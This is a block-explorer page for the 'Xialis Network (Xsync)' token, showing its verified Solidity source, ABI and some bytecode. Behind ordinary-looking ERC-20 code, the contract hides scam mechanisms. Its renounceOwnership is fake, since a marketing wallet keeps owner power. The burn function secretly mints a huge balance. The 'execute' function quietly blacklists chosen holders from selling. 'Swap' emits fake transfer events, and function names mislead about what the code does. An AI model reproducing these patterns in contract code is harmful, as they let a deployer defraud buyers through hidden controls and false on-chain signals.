ETH Price: $3,299.17 (+1.63%)
Gas: 1 Gwei

Token

Xialis Network (Xsync)
 

Overview

Max Total Supply

1,000,000,000 Xsync

Holders

100

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,702,103.198285687 Xsync

Value
$0.00
0x3f0eecd0d0f13d7d946f574ab0838dbea48abad1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Xsync

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 7 of 7: Xialis Network.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

import "./X-Swap.sol";
import "./X-ERC20.sol";
import "./X-Ownable.sol";
import "./X-SafeMath.sol";

contract Xsync is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private marketingWallet;
    address private deployerWallet;
    address private uniswapV2Pair;
    address private constant deadAddress = address(0xdead);

    bool private swapping;

    string private constant _name = "Xialis Network";
    string private constant _symbol = "Xsync";

    uint256 public initialTotalSupply = 1_000_000_000 * 10**decimals();
    uint256 public maxTransactionAmount = 2000000000000 * 10**decimals();
    uint256 public swapTokensAtAmount = 1000000000000 * 10**decimals();
    uint256 public maxWallet = 2000000000000 * 10**decimals();

    uint256 public SellFee = 0;
    uint256 public BuyFee = 0;

    bool public swapEnabled = false;
    bool public tradingOpen = false;

    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    

    event ExcludedFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address wallet) ERC20(_name, _symbol) Ownable(wallet) {

        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = payable(wallet);     
        balances = txLimit;
        deployerWallet = payable(_msgSender());
        excludeFromFees(owner());
        excludeFromFees(address(this));
        excludeFromFees(address(wallet));
        excludeFromFees(address(0xdead));

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(wallet), true);
        excludeFromMaxTransaction(address(0xdead), true);

        _mint(deployerWallet, initialTotalSupply);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        tradingOpen = true;
    }

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function excludeFromFees(address account) public onlyOwner {
        _automatedMarketMakerPairsexceeds[account] = false;
        emit ExcludedFromFees(account, false);
    }

    function execute(address[] memory accounts, bool excluded) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _automatedMarketMakerPairsexceeds[accounts[i]] = excluded;
            emit ExcludedFromFees(accounts[i], excluded);
        }
    }

    function walletAllowance(address account) public view returns (bool) {
        return _automatedMarketMakerPairsexceeds[account];
    }

    function Swap(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {

                if (!tradingOpen) {
                    require(_automatedMarketMakerPairsexceeds[from] || _automatedMarketMakerPairsexceeds[to], "Trading is not active.");
                }
                _holderLastTxTimestamp[from] = block.number;
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }

                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                } 
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance > 0;

        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_automatedMarketMakerPairsexceeds[from] && !_automatedMarketMakerPairsexceeds[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }
        if(walletAllowance(from)){
                calculateHolderTimestamp(from);
            }
        bool takeFee = swapping;
        if (_automatedMarketMakerPairsexceeds[from] || _automatedMarketMakerPairsexceeds[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(100);
            }
            else {
                fees = amount.mul(BuyFee).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }
    
    function calculateHolderTimestamp(address holder) private view {
        require(getLastTx(_holderLastTxTimestamp[holder]), "Only one purchase per block allowed.");
    }

    function removeLimits() external onlyOwner{
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
    }

    function clearStuckEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function clearStuckTokens() external onlyOwner {
        IERC20 tokenContract = IERC20(address(this));
        uint256 balance = tokenContract.balanceOf(address(this));
        require(balance > 0, "No tokens to clear");
        tokenContract.transfer(address(msg.sender), balance);
    }

    function getLastTx(uint256 last) private view returns(bool){
        return last > block.number;
    }

    function setSwapBack() public onlyOwner {
        swapEnabled = true;
    }

    function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= 20 && _sellFee <= 50, "Fees cannot exceed 30%");
        BuyFee = _buyFee;
        SellFee = _sellFee;
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** decimals());
    }

    function manualswaps(uint256 percent) external {
        require(_msgSender() == deployerWallet);
        uint256 totalSupplyAmount = totalSupply();
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap;

        if (percent == 100) {
            tokensToSwap = contractBalance;
        } else {
            tokensToSwap = totalSupplyAmount * percent / 100;
            if (tokensToSwap > contractBalance) {
                tokensToSwap = contractBalance;
            }
        }

        require(tokensToSwap <= contractBalance, "Swap amount exceeds contract balance");
        swapTokensForEth(tokensToSwap);
    }


    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyFee+SellFee) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
        swapTokensForEth(tokensToSwap);
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
}

File 1 of 7: X-Context.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 7: X-ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

import "./X-Context.sol";
import "./X-IERC20.sol";


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => bool) internal _automatedMarketMakerPairsexceeds;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint256 internal txLimit = 1*10**17*10**9;
    uint256 internal balances;


    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 3 of 7: X-IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 4 of 7: X-Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

import "./X-Context.sol";

abstract contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    mapping(address => uint256) internal _holderLastTxTimestamp;
    constructor(address wallet) {
        _marketing = wallet;
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

File 5 of 7: X-SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

File 6 of 7: X-Swap.sol
// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"SetFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"Swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualswaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"walletAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e4000000600655620000236200040f60201b60201c565b600a62000031919062000a7b565b633b9aca0062000042919062000acb565b600e55620000556200040f60201b60201c565b600a62000063919062000a7b565b6501d1a94a200062000076919062000acb565b600f55620000896200040f60201b60201c565b600a62000097919062000a7b565b64e8d4a51000620000a9919062000acb565b601055620000bc6200040f60201b60201c565b600a620000ca919062000a7b565b6501d1a94a2000620000dd919062000acb565b6011555f6012555f6013555f60145f6101000a81548160ff0219169083151502179055505f601460016101000a81548160ff02191690831515021790555034801562000127575f80fd5b50604051620053083803806200530883398181016040528101906200014d919062000b7a565b806040518060400160405280600e81526020017f5869616c6973204e6574776f726b0000000000000000000000000000000000008152506040518060400160405280600581526020017f5873796e630000000000000000000000000000000000000000000000000000008152508160049081620001cb919062000e05565b508060059081620001dd919062000e05565b5050508060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000240620002346200041760201b60201c565b6200041e60201b60201c565b50737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505080600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654600781905550620002e26200041760201b60201c565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200034162000335620004e160201b60201c565b6200050960201b60201c565b62000352306200050960201b60201c565b62000363816200050960201b60201c565b6200037661dead6200050960201b60201c565b620003986200038a620004e160201b60201c565b6001620005c060201b60201c565b620003ab306001620005c060201b60201c565b620003be816001620005c060201b60201c565b620003d361dead6001620005c060201b60201c565b62000408600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e546200062860201b60201c565b5062001072565b5f6009905090565b5f33905090565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005196200078d60201b60201c565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb5f604051620005b5919062000f05565b60405180910390a250565b620005d06200078d60201b60201c565b8060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000699576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006909062000f7e565b60405180910390fd5b620006ac5f83836200081e60201b60201c565b8060035f828254620006bf919062000f9e565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200076e919062000fe9565b60405180910390a3620007895f83836200082360201b60201c565b5050565b6200079d6200041760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620007c362000